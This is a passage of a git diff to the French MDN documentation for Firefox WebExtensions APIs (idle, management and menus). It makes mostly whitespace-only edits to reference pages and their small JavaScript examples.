pendant un nombre de secondes spécifié, ou sinon `"active"` - {{WebExtAPIRef("idle.setDetectionInterval()")}} - - : Définit l'intervalle utilisé pour déterminer quand le système est inactif pour les événements {{WebExtAPIRef("idle.onStateChanged")}}. + - : Définit l'intervalle utilisé pour déterminer quand le système est inactif pour les événements {{WebExtAPIRef("idle.onStateChanged")}}. ## Evénements diff --git a/files/fr/mozilla/add-ons/webextensions/api/idle/onstatechanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/idle/onstatechanged/index.md index 2607f24ee5..0d5f10085d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/idle/onstatechanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/idle/onstatechanged/index.md @@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/idle/onStateChanged Lancé lorsque le système change passe à l'état actif, inactif ou vérouillé. L'écouteur d'événement reçoit une chaîne qui a l'une des trois valeurs suivantes : - "vérouillé" si l'écran est vérouillé ou si l'économisateur d'écran s'active -- "inactif" si le système est vérouillé ou si l'économisateur n'a généré aucune entrée pendant un nombre de secondes spécifié. Ce nombre est défini par défaut sur 60, mais peut-être défini à l'aide de {{WebExtAPIRef("idle.setDetectionInterval()")}}. +- "inactif" si le système est vérouillé ou si l'économisateur n'a généré aucune entrée pendant un nombre de secondes spécifié. Ce nombre est défini par défaut sur 60, mais peut-être défini à l'aide de {{WebExtAPIRef("idle.setDetectionInterval()")}}. - "actif" quand l'utilisateur génère une entrée sur un système inactif. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/idle/querystate/index.md b/files/fr/mozilla/add-ons/webextensions/api/idle/querystate/index.md index 67c54a1821..8096a5af1f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/idle/querystate/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/idle/querystate/index.md @@ -31,7 +31,7 @@ var querying = browser.idle.queryState( ### Paramètres - `detectionIntervalInSeconds` - - : `integer`. Le système est considéré inactif si `detectionIntervalInSeconds` secondes s'est écoulé depuis la dernière entrée utilisateur détectée. + - : `integer`. Le système est considéré inactif si `detectionIntervalInSeconds` secondes s'est écoulé depuis la dernière entrée utilisateur détectée. ### Valeur renvoyée @@ -43,7 +43,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Dans cet extrait simple, nous appelons `queryState()` et vérifions si le `newState` est `inactif` ou `active`, en enregistrant un message selon le cas. Comme nous avons spécifié une valeur de `detectionIntervalInSeconds` de 15, un état `inactif` ne sera signalé que s'il n'y a pas eu d'activité de l'utilisateur depuis au moins 15 secondes +Dans cet extrait simple, nous appelons `queryState()` et vérifions si le `newState` est `inactif` ou `active`, en enregistrant un message selon le cas. Comme nous avons spécifié une valeur de `detectionIntervalInSeconds` de 15, un état `inactif` ne sera signalé que s'il n'y a pas eu d'activité de l'utilisateur depuis au moins 15 secondes ```js function onGot(newState) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/idle/setdetectioninterval/index.md b/files/fr/mozilla/add-ons/webextensions/api/idle/setdetectioninterval/index.md index 5f626b3250..f91165712f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/idle/setdetectioninterval/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/idle/setdetectioninterval/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/idle/setDetectionInterval --- {{AddonSidebar()}} -Définit l'intervalle, en secondes, utilisé pour déterminer quand le système est dans un état inactif pour les événements {{WebExtAPIRef("idle.onStateChanged")}} . L'intervalle par défaut est de 60 secondes. +Définit l'intervalle, en secondes, utilisé pour déterminer quand le système est dans un état inactif pour les événements {{WebExtAPIRef("idle.onStateChanged")}} . L'intervalle par défaut est de 60 secondes. L'intervalle de détection est spécifique à l'extension qui appelle la méthode. La modification de l'intervalle dans une extension n'affecte pas l'intervalle de détection dans une autre extension. @@ -30,7 +30,7 @@ browser.idle.setDetectionInterval( ### Paramètres - `intervalInSeconds` - - : `integer`. Seuil, en secondes, utilisé pour déterminer quand le système est dans un état inactif. La valeur minimum que vous pouvez fournir ici est 15. + - : `integer`. Seuil, en secondes, utilisé pour déterminer quand le système est dans un état inactif. La valeur minimum que vous pouvez fournir ici est 15. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/extensioninfo/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/extensioninfo/index.md index 2e38003328..98aeac7892 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/extensioninfo/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/extensioninfo/index.md @@ -27,7 +27,7 @@ Il s'agit d'un objet avec les propriétés suivantes : - `enabled` - : `boolean`. Que l'extension soit activée ou pas. - `homepageUrl` - - : `string`. L'URL de la page d'accueil de l'extension, prise en compte de la clé [homepage_url](/fr/Add-ons/WebExtensions/manifest.json/homepage_url) du fichier manifest.json. + - : `string`. L'URL de la page d'accueil de l'extension, prise en compte de la clé [homepage_url](/fr/Add-ons/WebExtensions/manifest.json/homepage_url) du fichier manifest.json. - `hostPermissions` - : `ensemble` de `chaîne`. Les [permissions d'hôtes](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) de l'extension. - `icons` @@ -60,7 +60,7 @@ Il s'agit d'un objet avec les propriétés suivantes : - `permissions` - : `array` of `string`. les [permissions de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) de l'extension. - `shortName` - - : `string`. Une courte version du nom de l'extension, prise à partir de la clé [short_name](/fr/Add-ons/WebExtensions/manifest.json/short_name) du manifest.json. + - : `string`. Une courte version du nom de l'extension, prise à partir de la clé [short_name](/fr/Add-ons/WebExtensions/manifest.json/short_name) du manifest.json. - `type` - : `string`. Chaîne décrivant le type d'extension. Ceci permet de distinguer les extensions des applications et des thèmes. Il peut prendre l'une des valeurs suivantes : @@ -76,7 +76,7 @@ Il s'agit d'un objet avec les propriétés suivantes : - `version` - : `string`. La version de l'extension, tiré de la clé [version](/fr/Add-ons/WebExtensions/manifest.json/version) du manifest.json - `versionName` - - : `string`. Le nom descriptif pour la version de l'extension, tiré de la clé [version_name](/fr/Add-ons/WebExtensions/manifest.json/version_name) du manifest.json. + - : `string`. Le nom descriptif pour la version de l'extension, tiré de la clé [version_name](/fr/Add-ons/WebExtensions/manifest.json/version_name) du manifest.json. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/get/index.md index a5ff7836ae..8c60bf6293 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/get/index.md @@ -34,7 +34,7 @@ var gettingInfo = browser.management.get( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}} , contenant les informations sur l'extension. La promise sera rejetée si aucune extension avec l'ID donné n'est installée ou si l'appelant ne peut pas accéder à l'extension. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}} , contenant les informations sur l'extension. La promise sera rejetée si aucune extension avec l'ID donné n'est installée ou si l'appelant ne peut pas accéder à l'extension. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/getall/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/getall/index.md index a6f0deb701..f75a24e1f2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/getall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/getall/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/management/getAll Récupère un ensemble d'objets {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}}, un pour chaque extension installé. -Notez que Google Chrome récupère les applications ainsi que les modules complémentaires. Dans Chrome vous pouvez distinguer les applications des extensions en utilisant la propriété `type` de {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}}. +Notez que Google Chrome récupère les applications ainsi que les modules complémentaires. Dans Chrome vous pouvez distinguer les applications des extensions en utilisant la propriété `type` de {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}}. Cette API requiert la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions) de "management" @@ -33,7 +33,7 @@ None. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera rempli avec un ensemble d'objets {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}}, un pour chaque extension installée. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera rempli avec un ensemble d'objets {{WebExtAPIRef("management.ExtensionInfo", "ExtensionInfo")}}, un pour chaque extension installée. ## Compatibilité du navigateur @@ -45,11 +45,11 @@ Enregistrez le nom de toutes les extensions installées : ```js function gotAll(infoArray) { - for (info of infoArray) { - if (info.type == "extension") { - console.log(info.name); - } - } + for (info of infoArray) { + if (info.type == "extension") { + console.log(info.name); + } + } } var gettingAll = browser.management.getAll(); diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/getpermissionwarningsbyid/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/getpermissionwarningsbyid/index.md index 9b4bb2b30f..dc2e3d9506 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/getpermissionwarningsbyid/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/getpermissionwarningsbyid/index.md @@ -11,7 +11,7 @@ tags: - management translation_of: Mozilla/Add-ons/WebExtensions/API/management/getPermissionWarningsById --- -{{AddonSidebar()}}Lorsque l'utilisateur installe ou met à jour une extension, le navigateur peut avertir l'utilisateur des [permissions](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) particulièrement puissantes que l'extension a demandée. Toutes les permissions ne donnent pas lieu à des alertes et ce comportement n'est pas normalisé dans les navigateurs. +{{AddonSidebar()}}Lorsque l'utilisateur installe ou met à jour une extension, le navigateur peut avertir l'utilisateur des [permissions](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) particulièrement puissantes que l'extension a demandée. Toutes les permissions ne donnent pas lieu à des alertes et ce comportement n'est pas normalisé dans les navigateurs. Compte tenu de l'ID d'une extension, cette fonction retourne les avertisseurs de permissions comme un tableau de chaînes. diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/index.md index d03a236b1a..7005519332 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/index.md @@ -38,7 +38,7 @@ La plupart de ces opérations requièrent les [permissions d'APIs](/fr/Add-ons/W - {{WebExtAPIRef("management.getSelf()")}} - : Renvoie des informations sur l'appel du module complémentaire. - {{WebExtAPIRef("management.install()")}} - - : Installe un thème particulier, étant donné son URL à l'adresse [addons.mozilla.org](https://addons.mozilla.org). + - : Installe un thème particulier, étant donné son URL à l'adresse [addons.mozilla.org](https://addons.mozilla.org). - {{WebExtAPIRef("management.uninstall()")}} - : Désinstalle un module complémenaire particulier, compte tenu de son ID. - {{WebExtAPIRef("management.uninstallSelf()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/install/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/install/index.md index 1045d25d9a..90208e993d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/install/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/install/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/management/install --- {{AddonSidebar()}}Installe et active une extension de thème à partir de l'URL donnée. -Cette API nécessite la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions) "management" et ne fonctionnera qu'avec des thèmes signés. +Cette API nécessite la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions) "management" et ne fonctionnera qu'avec des thèmes signés. C'est une fonction asynchrone qui renvoie une [Promise](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/ondisabled/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/ondisabled/index.md index 4b99339874..e429a379e5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/ondisabled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/ondisabled/index.md @@ -55,7 +55,7 @@ Enregistrez les noms des extensions lorsqu'ils sont désactivés. ```js browser.management.onDisabled.addListener((info) => { - console.log(info.name + " was disabled"); + console.log(info.name + " was disabled"); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/onenabled/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/onenabled/index.md index c5d905bb39..9212e8bdec 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/onenabled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/onenabled/index.md @@ -55,7 +55,7 @@ Enregistrez les noms des extensions lorsqu'ils sont activés : ```js browser.management.onEnabled.addListener((info) => { - console.log(info.name + " was enabled"); + console.log(info.name + " was enabled"); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/oninstalled/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/oninstalled/index.md index 85443e4e59..4b4fb2a729 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/oninstalled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/oninstalled/index.md @@ -55,7 +55,7 @@ Enregistrez les noms des extensions lorsqu'ils sont installés : ```js browser.management.onInstalled.addListener((info) => { - console.log(info.name + " was installed"); + console.log(info.name + " was installed"); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/onuninstalled/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/onuninstalled/index.md index bb406dc585..3d323821d5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/onuninstalled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/onuninstalled/index.md @@ -55,7 +55,7 @@ Enregistrez les noms des extensions lorsqu'ils sont désinstallés : ```js browser.management.onUninstalled.addListener((info) => { - console.log(info.name + " was uninstalled"); + console.log(info.name + " was uninstalled"); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/uninstall/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/uninstall/index.md index e2f5b98495..e172cb8000 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/uninstall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/uninstall/index.md @@ -36,7 +36,7 @@ var uninstalling = browser.management.uninstall( - : `object`. l'objet qui peut contenir une propriété unique, `showConfirmDialog`. Si `showConfirmDialog` est `true`, le navigateur affiche une boie de dialogue demandant à l'utilisateur de confirmer que le complément doit être désinstallé. - - Si `id` est l'ID de l'extension appelant, `showConfirmDialog` est par défaut à `false`. + - Si `id` est l'ID de l'extension appelant, `showConfirmDialog` est par défaut à `false`. - Si `id` est l'ID d'une extension différente, cette option est ignorée et la boite de dialogue de confirmation s'affche toujours. ### Valeur retournée @@ -51,7 +51,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se Désinstallez l'extension dont l'ID est "my-addon-id", en demandant à l'utilisateur de confirmer. Dans le rappel, vérifiez si l'utilisateur a annué la désinstallation. -Notez que nous n'avons réussi un gestionnaire d'exécution, car si la désinstallation réussit, l'extension n'est plus disponible pour le gérer. +Notez que nous n'avons réussi un gestionnaire d'exécution, car si la désinstallation réussit, l'extension n'est plus disponible pour le gérer. ```js var id = "my-addon-id"; diff --git a/files/fr/mozilla/add-ons/webextensions/api/management/uninstallself/index.md b/files/fr/mozilla/add-ons/webextensions/api/management/uninstallself/index.md index 25f46bfb81..2f9be76417 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/management/uninstallself/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/management/uninstallself/index.md @@ -34,7 +34,7 @@ var uninstallingSelf = browser.management.uninstallSelf( - : `object`. L'objet qui peut comporter deux propriétés, toutes deux facultatives : - `showConfirmDialog{{optional_inline}}` - - : Boolean. Si `showConfirmDialog` est `true`, le navigateur affiche la boite de dialogue demandant à l'utilisateur de confirmer que le complément doit être désinstallé. Par défaut à `false`. + - : Boolean. Si `showConfirmDialog` est `true`, le navigateur affiche la boite de dialogue demandant à l'utilisateur de confirmer que le complément doit être désinstallé. Par défaut à `false`. - `dialogMessage{{optional_inline}}` - : String. Un message supplémentaire qui sera affiché dans la boite de dialogue de confirmation. @@ -50,7 +50,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se Désinsallez l'extension, en demandant à l'utilisateur de confirmer. Dans le rappel, vérifiez si l'utilisateur a annulé la désinstallation. -Notez que n'avons pas passé un gestionnaire d'éxécution, car si la desinstallation réussit, l'extension n'est plus disponible pour le gérer. +Notez que n'avons pas passé un gestionnaire d'éxécution, car si la desinstallation réussit, l'extension n'est plus disponible pour le gérer. ```js function onCanceled(error) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/create/index.md index b137881186..779a0abb51 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/create/index.md @@ -19,7 +19,7 @@ Crée un nouvel élément de menu, avec un objet d'options définissant les prop Contrairement aux autres fonctions asynchrones, celle-ci ne renvoie pas de promesse, mais utilise un callback optionnel pour communiquer le succès ou l'échec. C'est parce que sa valeur de retour est l'ID du nouvel élément. -Pour la compatibilité avec d'autres navigateurs, Firefox rend cette méthode disponible via l'espace noms `contextMenus` ainsi que l'espace de noms des `menus`. Notez cependant qu'il n'est pas possible de créer des éléments de menu d'outils (`contexts: ["tools_menu"]`) en utilisant l'espace de noms `contextMenus`. +Pour la compatibilité avec d'autres navigateurs, Firefox rend cette méthode disponible via l'espace noms `contextMenus` ainsi que l'espace de noms des `menus`. Notez cependant qu'il n'est pas possible de créer des éléments de menu d'outils (`contexts: ["tools_menu"]`) en utilisant l'espace de noms `contextMenus`. ## Syntaxe @@ -46,7 +46,7 @@ browser.menus.create( - `"_execute_page_action"`: simule un clic sur l'action de la page de l'extension, en ouvrant son popup s'il en a un - `"_execute_sidebar_action"`: ouvre la barre latérale de l'extension - Cliquer sur l'élément déclenchera toujours l'événement {{WebExtAPIRef("menus.onClicked")}}, mais il n'y a aucune garantie de la commande ici: la commande peut être exécutée avant les incendies `onClicked`. + Cliquer sur l'élément déclenchera toujours l'événement {{WebExtAPIRef("menus.onClicked")}}, mais il n'y a aucune garantie de la commande ici: la commande peut être exécutée avant les incendies `onClicked`. - `contexts` {{optional_inline}} @@ -87,7 +87,7 @@ browser.menus.create( - `parentId` {{optional_inline}} - : `integer` ou `string`. L'ID d'un élément de menu parent; Cela fait de l'élément un enfant d'un élément ajouté précédemment. Remarque : Si vous avez créé plus d'un élément de menu, les éléments seront placés dans un sous-menu. Le parent du sous-menu sera étiqueté avec le nom de l'extension. - `targetUrlPatterns` {{optional_inline}} - - : `array` de `string`. Similaire à `documentUrlPatterns`, mais vous permet de filtrer en fonction du `href` des balises d'ancrage et de l'attribut `src` des balises img/audio/video tags. Ce paramètre prend en charge n'importe quel schéma d'URL, même ceux qui ne sont généralement pas autorisés dans un modèle de correspondance. + - : `array` de `string`. Similaire à `documentUrlPatterns`, mais vous permet de filtrer en fonction du `href` des balises d'ancrage et de l'attribut `src` des balises img/audio/video tags. Ce paramètre prend en charge n'importe quel schéma d'URL, même ceux qui ne sont généralement pas autorisés dans un modèle de correspondance. - `title` {{optional_inline}} - : `string`. Le texte à afficher dans l'article. Obligatoire sauf si le `type` est "separator". @@ -97,7 +97,7 @@ browser.menus.create( Si le titre contient une esperluette "&" le caractère suivant sera utilisé comme clé d'accès pour l'élément et l'esperluette ne sera pas affichée. Les exceptions à cette règle sont les suivantes : - Si le caractère suivant est également une esperluette : alors une esperluette simple sera affichée et aucune clé d'accès ne sera définie. En effet, "&&" est utilisé pour afficher une seule esperluette. - - Si les caractères suivants sont la directive d'interpolation "%s" : alors l'esperluette ne sera pas affichée et aucune clé d'accès ne sera définie. + - Si les caractères suivants sont la directive d'interpolation "%s" : alors l'esperluette ne sera pas affichée et aucune clé d'accès ne sera définie. - Si l'esperluette est le dernier caractère du titre : alors l'esperluette ne sera pas affichée et aucune clé d'accès ne sera définie. Seule la première esperluette sera utilisée pour définir une clé d'accès : les esperluettes suivantes ne seront pas affichées mais ne définiront pas les clés. Ainsi "\&A et \&B" seront affichés comme "A et B" et "A" comme clé d'accès. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/createproperties/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/createproperties/index.md index fe16e30b0f..a37aa9d9c8 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/createproperties/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/createproperties/index.md @@ -5,7 +5,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/menus/createProperties --- {{AddonSidebar()}} -Un `object` passé au méthodes {{WebExtAPIRef("menus.create()", "menus.create()")}} ou {{WebExtAPIRef("menus.update()", "menus.update()")}} pour décrire les propriétés de l'élément de menu nouveau ou mis à jour. +Un `object` passé au méthodes {{WebExtAPIRef("menus.create()", "menus.create()")}} ou {{WebExtAPIRef("menus.update()", "menus.update()")}} pour décrire les propriétés de l'élément de menu nouveau ou mis à jour. - `checked` {{optional_inline}} - : `boolean`. The initial state of a checkbox or radio item: `true` for selected and `false` for unselected. Only one radio item can be selected at a time in a given group of radio items. @@ -58,7 +58,7 @@ Un `object` passé au méthodes {{WebExtAPIRef("menus.create()", "menus.create() - `parentId` {{optional_inline}} - : `integer` or `string`. The ID of a parent menu item; this makes the item a child of a previously added item. Note: If you have created more than one menu item, then the items will be placed in a submenu. The submenu's parent will be labeled with the name of the extension. - `targetUrlPatterns` {{optional_inline}} - - : `array` of `string`. Similar to `documentUrlPatterns`, but lets you filter based on the `href` of anchor tags and the `src` attribute of img/audio/video tags. This parameter supports any URL scheme, even those that are usually not allowed in a match pattern. + - : `array` of `string`. Similar to `documentUrlPatterns`, but lets you filter based on the `href` of anchor tags and the `src` attribute of img/audio/video tags. This parameter supports any URL scheme, even those that are usually not allowed in a match pattern. - `title` {{optional_inline}} - : `string`. The text to be displayed in the item. Mandatory unless `type` is "separator". @@ -76,7 +76,7 @@ Un `object` passé au méthodes {{WebExtAPIRef("menus.create()", "menus.create() - `type` {{optional_inline}} - : `{{WebExtAPIRef('menus.ItemType')}}`. The type of menu item: "normal", "checkbox", "radio", "separator". Defaults to "normal". - `viewTypes` {{optional_inline}} - - : `{{WebExtAPIRef('extension.ViewType')}}`. List of view types where the menu item will be shown. Defaults to any view, including those without a `viewType`. + - : `{{WebExtAPIRef('extension.ViewType')}}`. List of view types where the menu item will be shown. Defaults to any view, including those without a `viewType`. - `visible` {{optional_inline}} - : `boolean`. Whether the item is shown in the menu. Defaults to `true`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md index 3d4e0d6588..3d91efcafc 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement Renvoie l'élément pour un `targetElementId` donné -Cette méthode est disponible pour tous les contextes de script d'extension (scripts de contenu, pages de fond et autres pages d'extension) et retourne l'élément pour un `info.targetElementId` donnée, à condition que l'élément existe toujours dans le document où la méthode est appelée. +Cette méthode est disponible pour tous les contextes de script d'extension (scripts de contenu, pages de fond et autres pages d'extension) et retourne l'élément pour un `info.targetElementId` donnée, à condition que l'élément existe toujours dans le document où la méthode est appelée. La méthode ne fonctionne que dans le document qui inclut l'élément cliqué avec le bouton droit de la souris et la méthode `targetElementId` expire lorsque l'utilisateur ouvre un autre menu contextuel. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/index.md index 379ac32a31..b0572999bf 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/index.md @@ -21,7 +21,7 @@ Cette API est modélisée dans l'API ["contextMenus"](https://developer.chrome.c Avant Firefox 55, cette API s'appelait à l'origine `contextMenus`, et ce nom a été retenu comme alias. Vous pouvez donc utiliser `contextMenus` pour écrire du code qui fonctionne dans Firefox et dans d'autres navigateurs. -Pour utiliser cette API, vous devez avoir la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) des `menus.` vous pouvez également utiliser l'alias `contextMenus` à la place des `menus`, mais si vous le faites, vous devez accéder aux API sous le nom `browser.contextMenus` à la place. +Pour utiliser cette API, vous devez avoir la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) des `menus.` vous pouvez également utiliser l'alias `contextMenus` à la place des `menus`, mais si vous le faites, vous devez accéder aux API sous le nom `browser.contextMenus` à la place. Excepté que [`menus.getTargetElement()`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement), cette API ne peut pas être utilisée à partir de scripts de contenu. @@ -29,7 +29,7 @@ Excepté que [`menus.getTargetElement()`](/fr/docs/Mozilla/Add-ons/WebExtensions Pour créer un élément de menu, appelez la méthode {{WebExtAPIRef("menus.create()")}}. Vous transmettez à cette méthode un objet contenant des options pour l'élément, y compris l'ID d'élément, le type d'élément et les contextes dans lesquels il doit être affiché. -Écoutez les clics sur votre élément de menu en ajoutant un écouteur à l'événement {{WebExtAPIRef("menus.onClicked")}}. Cet écouteur recevra un objet {{WebExtAPIRef("menus.OnClickData")}} contenant les détails de l'événement. +Écoutez les clics sur votre élément de menu en ajoutant un écouteur à l'événement {{WebExtAPIRef("menus.onClicked")}}. Cet écouteur recevra un objet {{WebExtAPIRef("menus.OnClickData")}} contenant les détails de l'événement. Vous pouvez créer quatre types différents d'élément de menu, en fonction de la valeur de la propriété `type` que vous fournissez dans les options de `create()`: diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/itemtype/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/itemtype/index.md index 6d0292a863..a9a028c81f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/itemtype/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/itemtype/index.md @@ -24,9 +24,9 @@ Les valeurs de ce type sont des chaînes. Les valeurs possibles sont: - normal - : Un élément de menu qui affiche simplement une étiquette. - checkbox - - : Un élément de menu qui représente un état binaire. Il affiche une coche à côté de l'étiquette. Cliquez sur l'élément pour activer la coche. L'écouteur {{WebExtAPIRef("menus.onClicked")}} recevra deux propriétés supplémentaires : "checked", indiquant si l'élément est vérifié maintenant, et "wasChecked", indiquant si l'élément a été vérifié avant l'événement click. + - : Un élément de menu qui représente un état binaire. Il affiche une coche à côté de l'étiquette. Cliquez sur l'élément pour activer la coche. L'écouteur {{WebExtAPIRef("menus.onClicked")}} recevra deux propriétés supplémentaires : "checked", indiquant si l'élément est vérifié maintenant, et "wasChecked", indiquant si l'élément a été vérifié avant l'événement click. - radio - - : Un élément de menu qui représente l'un des groupes de choix. Tout comme une case à cocher, cela affiche également une coche à côté de l'étiquette, et son écouteur {{WebExtAPIRef("menus.onClicked")}} est passé "checked" et "wasChecked". However, Cependant, si vous créez plus d'un élément radio, les éléments fonctionnent comme un groupe d'éléments radio items: un seul élément du groupe peut être vérifié, et cliquer sur un élément en fait l'élément sélectionné. + - : Un élément de menu qui représente l'un des groupes de choix. Tout comme une case à cocher, cela affiche également une coche à côté de l'étiquette, et son écouteur {{WebExtAPIRef("menus.onClicked")}} est passé "checked" et "wasChecked". However, Cependant, si vous créez plus d'un élément radio, les éléments fonctionnent comme un groupe d'éléments radio items: un seul élément du groupe peut être vérifié, et cliquer sur un élément en fait l'élément sélectionné. - separator - : Une ligne séparant un groupe d'éléments. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/onclickdata/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/onclickdata/index.md index eb09634e5f..efb97dfcee 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/onclickdata/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/onclickdata/index.md @@ -24,7 +24,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `bookmarkId` {{optional_inline}} - : `string`. L'ID du signet dans lequel le menu contextuel a été cliqué. - `button` {{optional_inline}} - - : `integer`. Quel bouton de la souris a été enfoncé. Les valeurs sont les mêmes que pour [`MouseEvent.button`](/fr/docs/Web/API/MouseEvent/button). + - : `integer`. Quel bouton de la souris a été enfoncé. Les valeurs sont les mêmes que pour [`MouseEvent.button`](/fr/docs/Web/API/MouseEvent/button). - `checked` {{optional_inline}} - : `boolean`. Un _flag_ indiquant si une case à cocher ou un élément radio a été vérifié après avoir été cliqué. - `editable` @@ -42,7 +42,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `menuItemId` - : `integer` ou `string`. ID de l'élément de menu sur lequel vous avez cliqué. - `modifiers` - - : `Array` de`string`. Un tableau contenant toutes les touches de modification qui ont été pressées lorsque l'élément a été cliqué. Les valeurs possibles sont : "Alt", "Command", "Ctrl", "MacCtrl", et "Shift". Sur un Mac, si 